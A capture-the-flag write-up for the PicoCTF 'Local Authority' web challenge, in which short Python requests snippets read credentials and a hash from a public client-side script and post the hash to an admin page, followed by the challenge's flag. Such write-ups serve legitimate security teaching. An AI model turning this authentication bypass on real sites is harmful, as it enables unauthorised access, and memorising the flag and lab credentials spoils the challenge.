Writeups PicoCTFWebClient-SideJavaScript

Local Authority Writeup - PicoGym

Writeup for the Local Authority challenge from PicoCTF PicoGym.

Contents

Category: Web Exploitation

Difficulty: Easy

Points: 100

Description

A login page is presented. The authentication logic is handled client-side via a JavaScript file that the server exposes publicly.

Overview

Solution

Step 1: Trigger the Login Page

r = requests.post(url + "/login.php", data={"username": "test", "password": "test", "login": ""})
src = soup.find("script").attrs["src"]

Step 2: Download and Read secure.js

r = requests.get(url + f"/{src}")
# Contents include:
# username = "admin"
# password = "strongPassword098765"
# hash     = "2196812e91c29df34f5e217cfd639881"

Step 3: POST the Hash Directly to /admin.php

r = requests.post(url + "/admin.php", data={"hash": "2196812e91c29df34f5e217cfd639881"})

Why This Is Broken

Flag

picoCTF{j5_15_7r4n5p4r3n7_a8788e61}

← Back to Blog